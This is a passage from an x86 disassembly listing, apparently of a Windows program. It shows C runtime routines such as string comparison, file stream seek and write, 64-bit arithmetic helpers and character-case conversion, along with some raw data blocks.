call sub_41B4D5
test eax, eax
pop ecx
mov dword_4DC91C, eax
jnz short loc_41D073
push 18h
call sub_41DA29
mov eax, dword_4DC91C
pop ecx
loc_41D073: ; CODE XREF: sub_41D052+12j
and dword ptr [eax], 0
mov eax, dword_4DC91C
mov dword_4DC918, eax
retn
sub_41D052 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D081 proc near ; CODE XREF: ___:0040DB4Bp
var_CC = byte ptr -0CCh
var_32 = word ptr -32h
var_24 = dword ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1A = word ptr -1Ah
var_18 = word ptr -18h
var_16 = word ptr -16h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0CCh
lea eax, [ebp+var_10]
push eax
call near ptr 278019Bh
nop
lea eax, [ebp+var_20]
push eax
nop
call near ptr 2870000h
mov ax, [ebp+var_16]
cmp ax, word_4DB2E2
jnz short loc_41D0E6
mov ax, [ebp+var_18]
cmp ax, word_4DB2E0
jnz short loc_41D0E6
mov ax, [ebp+var_1A]
cmp ax, word_4DB2DE
jnz short loc_41D0E6
mov ax, [ebp+var_1E]
cmp ax, word_4DB2DA
jnz short loc_41D0E6
mov ax, [ebp+var_20]
cmp ax, word_4DB2D8
jnz short loc_41D0E6
mov eax, dword_4DB2D0
jmp short loc_41D12B
; ---------------------------------------------------------------------------
loc_41D0E6: ; CODE XREF: sub_41D081+28j
; sub_41D081+35j ...
lea eax, [ebp+var_CC]
push eax
call near ptr 2860000h
nop
cmp eax, 0FFFFFFFFh
jz short loc_41D113
cmp eax, 2
jnz short loc_41D10F
cmp [ebp+var_32], 0
jz short loc_41D10F
cmp [ebp+var_24], 0
jz short loc_41D10F
push 1
pop eax
jmp short loc_41D116
; ---------------------------------------------------------------------------
loc_41D10F: ; CODE XREF: sub_41D081+7Aj
; sub_41D081+81j ...
xor eax, eax
jmp short loc_41D116
; ---------------------------------------------------------------------------
loc_41D113: ; CODE XREF: sub_41D081+75j
or eax, 0FFFFFFFFh
loc_41D116: ; CODE XREF: sub_41D081+8Cj
; sub_41D081+90j
push esi
push edi
lea esi, [ebp+var_20]
mov edi, offset word_4DB2D8
movsd
movsd
movsd
movsd
pop edi
mov dword_4DB2D0, eax
pop esi
loc_41D12B: ; CODE XREF: sub_41D081+63j
push eax
movzx eax, [ebp+var_4]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_10]
push eax
call sub_422669
mov ecx, [ebp+arg_0]
add esp, 1Ch
test ecx, ecx
jz short locret_41D15B
mov [ecx], eax
locret_41D15B: ; CODE XREF: sub_41D081+D6j
leave
retn
sub_41D081 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D160 proc near
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov esi, [ebp+arg_4]
mov edi, [ebp+arg_0]
lea eax, dword_4DB32C
cmp dword ptr [eax+8], 0
jnz short loc_41D1B3
mov al, 0FFh
mov edi, edi
loc_41D17C: ; CODE XREF: sub_41D160+28j
; sub_41D160+48j
or al, al
jz short loc_41D1AE
mov al, [esi]
inc esi
mov ah, [edi]
inc edi
cmp ah, al
jz short loc_41D17C
sub al, 41h
cmp al, 1Ah
sbb cl, cl
and cl, 20h
add al, cl
add al, 41h
xchg ah, al
sub al, 41h
cmp al, 1Ah
sbb cl, cl
and cl, 20h
add al, cl
add al, 41h
cmp al, ah
jz short loc_41D17C
sbb al, al
sbb al, 0FFh
loc_41D1AE: ; CODE XREF: sub_41D160+1Ej
movsx eax, al
jmp short loc_41D1E7
; ---------------------------------------------------------------------------
loc_41D1B3: ; CODE XREF: sub_41D160+16j
mov eax, 0FFh
xor ebx, ebx
mov edi, edi
loc_41D1BC: ; CODE XREF: sub_41D160+68j
; sub_41D160+80j
or al, al
jz short loc_41D1E7
mov al, [esi]
inc esi
mov bl, [edi]
inc edi
cmp al, bl
jz short loc_41D1BC
push eax
push ebx
call sub_41D74C
mov ebx, eax
add esp, 4
call sub_41D74C
add esp, 4
cmp bl, al
jz short loc_41D1BC
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41D1E7: ; CODE XREF: sub_41D160+51j
; sub_41D160+5Ej
pop ebx
pop esi
pop edi
leave
retn
sub_41D160 endp
; ---------------------------------------------------------------------------
push esi
mov esi, [esp+8]
push edi
mov eax, [esi+0Ch]
test al, 83h
jz short loc_41D268
mov edi, [esp+14h]
test edi, edi
jz short loc_41D20B
cmp edi, 1
jz short loc_41D20B
cmp edi, 2
jnz short loc_41D268
loc_41D20B: ; CODE XREF: ___:0041D1FFj
; ___:0041D204j
and al, 0EFh
cmp edi, 1
mov [esi+0Ch], eax
jnz short loc_41D222
push esi
call sub_4227C5
add [esp+14h], eax
pop ecx
xor edi, edi
loc_41D222: ; CODE XREF: ___:0041D213j
push esi
call sub_41DB8B
mov eax, [esi+0Ch]
pop ecx
test al, 80h
jz short loc_41D237
and al, 0FCh
mov [esi+0Ch], eax
jmp short loc_41D24B
; ---------------------------------------------------------------------------
loc_41D237: ; CODE XREF: ___:0041D22Ej
test al, 1
jz short loc_41D24B
test al, 8
jz short loc_41D24B
test ah, 4
jnz short loc_41D24B
mov dword ptr [esi+18h], 200h
loc_41D24B: ; CODE XREF: ___:0041D235j
; ___:0041D239j ...
push edi
push dword ptr [esp+14h]
push dword ptr [esi+10h]
call sub_42272B
add esp, 0Ch
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
dec ecx
mov eax, ecx
jmp short loc_41D275
; ---------------------------------------------------------------------------
loc_41D268: ; CODE XREF: ___:0041D1F7j
; ___:0041D209j
mov dword_4DB278, 16h
or eax, 0FFFFFFFFh
loc_41D275: ; CODE XREF: ___:0041D266j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41D280 proc near ; CODE XREF: sub_412B08+19Ep
; sub_41386B+11Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
mov ecx, [esp+arg_C]
or ecx, eax
mov ecx, [esp+arg_8]
jnz short loc_41D299
mov eax, [esp+arg_0]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_41D299: ; CODE XREF: sub_41D280+Ej
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+4+arg_0]
mul [esp+4+arg_C]
add ebx, eax
mov eax, [esp+4+arg_0]
mul ecx
add edx, ebx
pop ebx
retn 10h
sub_41D280 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D2B4 proc near ; CODE XREF: ___:004162E3p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
test edi, edi
mov [ebp+arg_0], eax
mov ebx, edi
jnz short loc_41D2D8
xor eax, eax
jmp loc_41D3A5
; ---------------------------------------------------------------------------
loc_41D2D8: ; CODE XREF: sub_41D2B4+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_41D2EB
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_41D2F2
; ---------------------------------------------------------------------------
loc_41D2EB: ; CODE XREF: sub_41D2B4+2Dj
mov [ebp+arg_C], 1000h
loc_41D2F2: ; CODE XREF: sub_41D2B4+35j
; sub_41D2B4+E8j
mov ecx, [esi+0Ch]
and ecx, 108h
jz short loc_41D326
mov eax, [esi+4]
test eax, eax
jz short loc_41D326
cmp ebx, eax
mov edi, ebx
jb short loc_41D30C
mov edi, eax
loc_41D30C: ; CODE XREF: sub_41D2B4+54j
push edi
push [ebp+arg_0]
push dword ptr [esi]
call sub_41C310
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
sub ebx, edi
add [ebp+arg_0], edi
jmp short loc_41D36C
; ---------------------------------------------------------------------------
loc_41D326: ; CODE XREF: sub_41D2B4+47j
; sub_41D2B4+4Ej
cmp ebx, [ebp+arg_C]
jb short loc_41D371
test ecx, ecx
jz short loc_41D33A
push esi
call sub_41DB8B
test eax, eax
pop ecx
jnz short loc_41D3B3
loc_41D33A: ; CODE XREF: sub_41D2B4+79j
cmp [ebp+arg_C], 0
jz short loc_41D34D
mov eax, ebx
xor edx, edx
div [ebp+arg_C]
mov edi, ebx
sub edi, edx
jmp short loc_41D34F
; ---------------------------------------------------------------------------
loc_41D34D: ; CODE XREF: sub_41D2B4+8Aj
mov edi, ebx
loc_41D34F: ; CODE XREF: sub_41D2B4+97j
push edi
push [ebp+arg_0]
push dword ptr [esi+10h]
call sub_42291D
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_41D3AA
add [ebp+arg_0], eax
sub ebx, eax
cmp eax, edi
jb short loc_41D3AA
loc_41D36C: ; CODE XREF: sub_41D2B4+70j
mov edi, [ebp+var_4]
jmp short loc_41D39A
; ---------------------------------------------------------------------------
loc_41D371: ; CODE XREF: sub_41D2B4+75j
mov eax, [ebp+arg_0]
push esi
movsx eax, byte ptr [eax]
push eax
call sub_41F58A
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41D3B3
inc [ebp+arg_0]
mov eax, [esi+18h]
dec ebx
mov [ebp+arg_C], eax
test eax, eax
jg short loc_41D39A
mov [ebp+arg_C], 1
loc_41D39A: ; CODE XREF: sub_41D2B4+BBj
; sub_41D2B4+DDj
test ebx, ebx
jnz loc_41D2F2
mov eax, [ebp+arg_8]
loc_41D3A5: ; CODE XREF: sub_41D2B4+1Fj
; sub_41D2B4+108j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41D3AA: ; CODE XREF: sub_41D2B4+ADj
; sub_41D2B4+B6j
or dword ptr [esi+0Ch], 20h
mov eax, [ebp+var_4]
jmp short loc_41D3B5
; ---------------------------------------------------------------------------
loc_41D3B3: ; CODE XREF: sub_41D2B4+84j
; sub_41D2B4+CFj
mov eax, edi
loc_41D3B5: ; CODE XREF: sub_41D2B4+FDj
sub eax, ebx
xor edx, edx
div [ebp+arg_4]
jmp short loc_41D3A5
sub_41D2B4 endp
; =============== S U B R O U T I N E =======================================
sub_41D3BE proc near ; CODE XREF: sub_416908+8p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push [esp+arg_0]
nop
call near ptr 2670DABh
cmp eax, 0FFFFFFFFh
jnz short loc_41D3DE
call near ptr 2670897h
nop
push eax
call sub_4203DF
pop ecx
loc_41D3DA: ; CODE XREF: sub_41D3BE+3Fj
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_41D3DE: ; CODE XREF: sub_41D3BE+Dj
test al, 1
jz short loc_41D3FF
test [esp+arg_4], 2
jz short loc_41D3FF
mov dword_4DB278, 0Dh
mov dword_4DB27C, 5
jmp short loc_41D3DA
; ---------------------------------------------------------------------------
loc_41D3FF: ; CODE XREF: sub_41D3BE+22j
; sub_41D3BE+29j
xor eax, eax
retn
sub_41D3BE endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41D410 proc near ; CODE XREF: sub_416922+3Fp
; sub_41A98C+24p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_41D432
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_41D473
; ---------------------------------------------------------------------------
loc_41D432: ; CODE XREF: sub_41D410+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_41D440: ; CODE XREF: sub_41D410+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_41D440
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_41D46E
cmp edx, [esp+8+arg_4]
ja short loc_41D46E
jb short loc_41D46F
cmp eax, [esp+8+arg_0]
jbe short loc_41D46F
loc_41D46E: ; CODE XREF: sub_41D410+4Ej
; sub_41D410+54j
dec esi
loc_41D46F: ; CODE XREF: sub_41D410+56j
; sub_41D410+5Cj
xor edx, edx
mov eax, esi
loc_41D473: ; CODE XREF: sub_41D410+20j
pop esi
pop ebx
retn 10h
sub_41D410 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41D480 proc near ; CODE XREF: sub_416922+2Dp
; sub_41A98C+3Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_41D4A1
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_41D4F1
; ---------------------------------------------------------------------------
loc_41D4A1: ; CODE XREF: sub_41D480+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_41D4AF: ; CODE XREF: sub_41D480+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_41D4AF
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_41D4DA
cmp edx, [esp+4+arg_4]
ja short loc_41D4DA
jb short loc_41D4E2
cmp eax, [esp+4+arg_0]
jbe short loc_41D4E2
loc_41D4DA: ; CODE XREF: sub_41D480+4Aj
; sub_41D480+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_41D4E2: ; CODE XREF: sub_41D480+52j
; sub_41D480+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_41D4F1: ; CODE XREF: sub_41D480+1Fj
pop ebx
retn 10h
sub_41D480 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41D500 proc near ; CODE XREF: sub_416A32+5Fp
; sub_416A32+92p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push edi
push esi
push ebx
xor edi, edi
mov eax, [esp+0Ch+arg_4]
or eax, eax
jge short loc_41D521
inc edi
mov edx, [esp+0Ch+arg_0]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_4], eax
mov [esp+0Ch+arg_0], edx
loc_41D521: ; CODE XREF: sub_41D500+Bj
mov eax, [esp+0Ch+arg_C]
or eax, eax
jge short loc_41D53D
inc edi
mov edx, [esp+0Ch+arg_8]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_C], eax
mov [esp+0Ch+arg_8], edx
loc_41D53D: ; CODE XREF: sub_41D500+27j
or eax, eax
jnz short loc_41D559
mov ecx, [esp+0Ch+arg_8]
mov eax, [esp+0Ch+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+0Ch+arg_0]
div ecx
mov edx, ebx
jmp short loc_41D59A
; ---------------------------------------------------------------------------
loc_41D559: ; CODE XREF: sub_41D500+3Fj
mov ebx, eax
mov ecx, [esp+0Ch+arg_8]
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
loc_41D567: ; CODE XREF: sub_41D500+71j
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short loc_41D567
div ecx
mov esi, eax
mul [esp+0Ch+arg_C]
mov ecx, eax
mov eax, [esp+0Ch+arg_8]
mul esi
add edx, ecx
jb short loc_41D595
cmp edx, [esp+0Ch+arg_4]
ja short loc_41D595
jb short loc_41D596
cmp eax, [esp+0Ch+arg_0]
jbe short loc_41D596
loc_41D595: ; CODE XREF: sub_41D500+85j
; sub_41D500+8Bj
dec esi
loc_41D596: ; CODE XREF: sub_41D500+8Dj
; sub_41D500+93j
xor edx, edx
mov eax, esi
loc_41D59A: ; CODE XREF: sub_41D500+57j
dec edi
jnz short loc_41D5A4
neg edx
neg eax
sbb edx, 0
loc_41D5A4: ; CODE XREF: sub_41D500+9Bj
pop ebx
pop esi
pop edi
retn 10h
sub_41D500 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D5AA proc near ; CODE XREF: sub_4170EC+BFp
; sub_4170EC+12Cp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, dword_4DB334
push ebx
xor ebx, ebx
cmp eax, ebx
mov [ebp+var_4], ebx
jnz short loc_41D5DE
mov eax, [ebp+arg_0]
mov edx, eax
cmp [eax], bl
jz short loc_41D645
loc_41D5C6: ; CODE XREF: sub_41D5AA+30j
mov cl, [edx]
cmp cl, 61h
jl short loc_41D5D7
cmp cl, 7Ah
jg short loc_41D5D7
sub cl, 20h
mov [edx], cl
loc_41D5D7: ; CODE XREF: sub_41D5AA+21j
; sub_41D5AA+26j
inc edx
cmp [edx], bl
jnz short loc_41D5C6
jmp short loc_41D645
; ---------------------------------------------------------------------------
loc_41D5DE: ; CODE XREF: sub_41D5AA+11j
push esi
push edi
push 1
push ebx
push ebx
push ebx
push 0FFFFFFFFh
mov esi, 200h
push [ebp+arg_0]
push esi
push eax
call sub_422ACA
mov edi, eax
add esp, 20h
cmp edi, ebx
jz short loc_41D637
push edi
call sub_41B4D5
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jz short loc_41D637
push 1
push ebx
push edi
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push esi
push dword_4DB334
call sub_422ACA
add esp, 20h
test eax, eax
jz short loc_41D637
push [ebp+var_4]
push [ebp+arg_0]
call sub_41BEB0
pop ecx
pop ecx
loc_41D637: ; CODE XREF: sub_41D5AA+53j
; sub_41D5AA+61j ...
push [ebp+var_4]
call sub_41B0B1
mov eax, [ebp+arg_0]
pop ecx
pop edi
pop esi
loc_41D645: ; CODE XREF: sub_41D5AA+1Aj
; sub_41D5AA+32j
pop ebx
leave
retn
sub_41D5AA endp
; =============== S U B R O U T I N E =======================================
sub_41D648 proc near ; CODE XREF: sub_417ADD+1A8p
arg_0 = dword ptr 4
cmp dword_43C504, 1
jle short loc_41D65F
push 4
push [esp+4+arg_0]
call sub_41F515
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41D65F: ; CODE XREF: sub_41D648+7j
mov eax, [esp+arg_0]
mov ecx, off_43C2F8
mov al, [ecx+eax*2]
and eax, 4
retn
sub_41D648 endp
; =============== S U B R O U T I N E =======================================
sub_41D670 proc near ; CODE XREF: sub_420510+76p
; sub_420510+88p ...
arg_0 = dword ptr 4
cmp dword_43C504, 1
jle short loc_41D687
push 8
push [esp+4+arg_0]
call sub_41F515
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41D687: ; CODE XREF: sub_41D670+7j
mov eax, [esp+arg_0]
mov ecx, off_43C2F8
mov al, [ecx+eax*2]
and eax, 8
retn
sub_41D670 endp
; ---------------------------------------------------------------------------
align 10h
mov eax, [esp+0Ch]
test eax, eax
jz short locret_41D6EC
mov edx, [esp+4]
push esi
push edi
mov esi, edx
mov edi, [esp+10h]
or edx, edi
and edx, 3
jz short loc_41D6ED
test eax, 1
jz short loc_41D6CD
mov cl, [esi]
cmp cl, [edi]
jnz short loc_41D71A
inc esi
inc edi
dec eax
jz short loc_41D6EA
loc_41D6CD: ; CODE XREF: ___:0041D6C0j
; ___:0041D6E8j
mov cl, [esi]
mov dl, [edi]
cmp cl, dl
jnz short loc_41D71A
mov cl, [esi+1]
mov dl, [edi+1]
cmp cl, dl
jnz short loc_41D71A
add edi, 2
add esi, 2
sub eax, 2
jnz short loc_41D6CD
loc_41D6EA: ; CODE XREF: ___:0041D6CBj
; ___:0041D724j
pop edi
pop esi
locret_41D6EC: ; CODE XREF: ___:0041D6A6j
retn
; ---------------------------------------------------------------------------
loc_41D6ED: ; CODE XREF: ___:0041D6B9j
mov ecx, eax
and eax, 3
shr ecx, 2
jz short loc_41D722
repe cmpsd
jz short loc_41D722
mov ecx, [esi-4]
mov edx, [edi-4]
cmp cl, dl
jnz short loc_41D715
cmp ch, dh
jnz short loc_41D715
shr ecx, 10h
shr edx, 10h
cmp cl, dl
jnz short loc_41D715
cmp ch, dh
loc_41D715: ; CODE XREF: ___:0041D703j
; ___:0041D707j ...
mov eax, 0
loc_41D71A: ; CODE XREF: ___:0041D6C6j
; ___:0041D6D3j ...
sbb eax, eax
pop edi
sbb eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41D722: ; CODE XREF: ___:0041D6F5j
; ___:0041D6F9j
test eax, eax
jz short loc_41D6EA
mov edx, [esi]
mov ecx, [edi]
cmp dl, cl
jnz short loc_41D715
dec eax
jz short loc_41D749
cmp dh, ch
jnz short loc_41D715
dec eax
jz short loc_41D749
and ecx, 0FF0000h
and edx, 0FF0000h
cmp edx, ecx
jnz short loc_41D715
dec eax
loc_41D749: ; CODE XREF: ___:0041D72Fj
; ___:0041D736j
pop edi
pop esi
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D74C proc near ; CODE XREF: sub_418068+6p
; sub_418086+4Ap ...
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_4DB334, 0
push ebx
push esi
push edi
jnz short loc_41D779
mov eax, [ebp+arg_0]
cmp eax, 41h
jl loc_41D812
cmp eax, 5Ah
jg loc_41D812
add eax, 20h
jmp loc_41D812
; ---------------------------------------------------------------------------
loc_41D779: ; CODE XREF: sub_41D74C+Ej
mov ebx, [ebp+arg_0]
mov edi, 100h
push 1
cmp ebx, edi
pop esi
jge short loc_41D7AD
cmp dword_43C504, esi
jle short loc_41D79B
push esi
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_41D7A5
; ---------------------------------------------------------------------------
loc_41D79B: ; CODE XREF: sub_41D74C+42j
mov eax, off_43C2F8
mov al, [eax+ebx*2]
and eax, esi
loc_41D7A5: ; CODE XREF: sub_41D74C+4Dj
test eax, eax
jnz short loc_41D7AD
loc_41D7A9: ; CODE XREF: sub_41D74C+ADj
mov eax, ebx
jmp short loc_41D812
; ---------------------------------------------------------------------------
loc_41D7AD: ; CODE XREF: sub_41D74C+3Aj
; sub_41D74C+5Bj
mov edx, off_43C2F8
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_41D7D1
and byte ptr [ebp+arg_0+2], 0
push 2
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
pop eax
jmp short loc_41D7DA
; ---------------------------------------------------------------------------
loc_41D7D1: ; CODE XREF: sub_41D74C+74j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
mov eax, esi
loc_41D7DA: ; CODE XREF: sub_41D74C+83j
push esi
push 0
lea ecx, [ebp+var_4]
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push edi
push dword_4DB334
call sub_422ACA
add esp, 20h
test eax, eax
jz short loc_41D7A9
cmp eax, esi
jnz short loc_41D805
movzx eax, [ebp+var_4]
jmp short loc_41D812
; ---------------------------------------------------------------------------
loc_41D805: ; CODE XREF: sub_41D74C+B1j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_41D812: ; CODE XREF: sub_41D74C+16j
; sub_41D74C+1Fj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41D74C endp
; =============== S U B R O U T I N E =======================================
sub_41D817 proc near ; CODE XREF: sub_4185A4+ADp
; sub_419593+55p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
cmp word ptr [ecx], 0
lea eax, [ecx+2]
jz short loc_41D82E
loc_41D824: ; CODE XREF: sub_41D817+15j
mov dx, [eax]
inc eax
inc eax
test dx, dx
jnz short loc_41D824
loc_41D82E: ; CODE XREF: sub_41D817+Bj
sub eax, ecx
sar eax, 1
dec eax
retn
sub_41D817 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D834 proc near ; CODE XREF: sub_4185A4+7Fp
; sub_4185A4+90p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_0]
push ebx
push esi
xor esi, esi
xor eax, eax
cmp edx, esi
push edi
jz loc_41D901
mov edi, [ebp+arg_8]
cmp edi, esi
jz loc_41D92E
cmp dword_4DB334, esi
jnz short loc_41D885
cmp edi, esi
jbe loc_41D92E
loc_41D864: ; CODE XREF: sub_41D834+4Aj
mov ecx, [ebp+arg_4]
add ecx, eax
movzx si, byte ptr [ecx]
mov [edx], si
cmp byte ptr [ecx], 0
jz loc_41D92E
inc eax
inc edx
inc edx
cmp eax, edi
jb short loc_41D864
jmp loc_41D92E
; ---------------------------------------------------------------------------
loc_41D885: ; CODE XREF: sub_41D834+26j
mov ebx, [ebp+arg_4]
mov esi, dword_427180
push edi
push edx
push 0FFFFFFFFh
push ebx
push 9
push dword_4DB344
call esi
test eax, eax
jnz loc_41D92D
call near ptr 2670897h
nop
cmp eax, 7Ah
jz short loc_41D8BF
loc_41D8B0: ; CODE XREF: sub_41D834+CBj
; sub_41D834+F7j
mov dword_4DB278, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_41D92E
; ---------------------------------------------------------------------------
loc_41D8BF: ; CODE XREF: sub_41D834+7Aj
lea ecx, [edi-1]
mov eax, ebx
mov [ebp+arg_4], ecx
loc_41D8C7: ; CODE XREF: sub_41D834+B3j
mov cl, [eax]
test cl, cl
jz short loc_41D8E9
mov edx, off_43C2F8
movzx ecx, cl
test byte ptr [edx+ecx*2+1], 80h
jz short loc_41D8DE
inc eax
loc_41D8DE: ; CODE XREF: sub_41D834+A7j
mov ecx, [ebp+arg_4]
inc eax
dec [ebp+arg_4]
test ecx, ecx
jnz short loc_41D8C7
loc_41D8E9: ; CODE XREF: sub_41D834+97j
push edi
sub eax, ebx
push [ebp+arg_0]
push eax
push ebx
push 1
push dword_4DB344
call esi
test eax, eax
jnz short loc_41D92E
jmp short loc_41D8B0
; ---------------------------------------------------------------------------
loc_41D901: ; CODE XREF: sub_41D834+Fj
cmp dword_4DB334, esi
jnz short loc_41D914
push [ebp+arg_4]
call sub_41AFE0
pop ecx
jmp short loc_41D92E
; ---------------------------------------------------------------------------
loc_41D914: ; CODE XREF: sub_41D834+D3j
push esi
push esi
push 0FFFFFFFFh
push [ebp+arg_4]
push 9
push dword_4DB344
call near ptr 2820000h
nop
cmp eax, esi
jz short loc_41D8B0
loc_41D92D: ; CODE XREF: sub_41D834+6Bj
dec eax
loc_41D92E: ; CODE XREF: sub_41D834+1Aj
; sub_41D834+2Aj ...
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41D834 endp
; ---------------------------------------------------------------------------
db 24h
dd 0B7E2348Ch, 0C661414Eh, 99221C35h, 0A164E3FFh, 0
dd 25896450h, 0
dd 5358EC83h, 65895756h, 49E890E8h, 33024643h, 89D48AD2h
dd 4DB29015h, 81C88B00h, 0FFE1h, 8C0D8900h, 0C1004DB2h
dd 0CA0308E1h, 0B2880D89h, 0E8C1004Dh, 0B284A310h, 0F633004Dh
dd 440E856h, 85590000h, 6A0875C0h, 0B0E81Ch, 89590000h
dd 5BE8FC75h, 90000059h, 4642CEE8h, 0C90CA302h, 19E8004Dh
dd 0A3000058h, 4DB2E8h, 55C2E8h, 5504E800h, 0B9E80000h
dd 89FFFFDDh, 458DD075h, 0E89050A4h, 2462628h, 5495E8h
dd 9C458900h, 1D045F6h, 0B70F0674h, 3EBD445h, 50580A6Ah
dd 569C75FFh, 5E89056h, 50022626h, 0FE3820E8h, 0A04589FFh
dd 0DDA7E850h, 458BFFFFh, 8B088BECh, 984D8909h, 0D3E85150h
dd 59000052h, 658BC359h, 9875FFE8h, 0FFDD99E8h
db 0FFh
; =============== S U B R O U T I N E =======================================
sub_41DA29 proc near ; CODE XREF: sub_41D052+16p
; ___:00422F18p ...
arg_0 = dword ptr 4
cmp dword_4DB2F0, 1
jnz short loc_41DA37
call sub_423590
loc_41DA37: ; CODE XREF: sub_41DA29+7j
push [esp+arg_0]
call sub_4235C9
push 0FFh
call off_43A2C0
pop ecx
pop ecx
retn
sub_41DA29 endp
; ---------------------------------------------------------------------------
dw 3D83h
dd offset dword_4DB2F0
dd 0E8057501h, 5B34h, 42474FFh, 5B64E8h, 0FF685900h, 0E8000000h
dd 77A58245h
db 90h
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
sub_41DA72 proc near ; CODE XREF: sub_41B05B+2Ap
; sub_423A33+290p
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
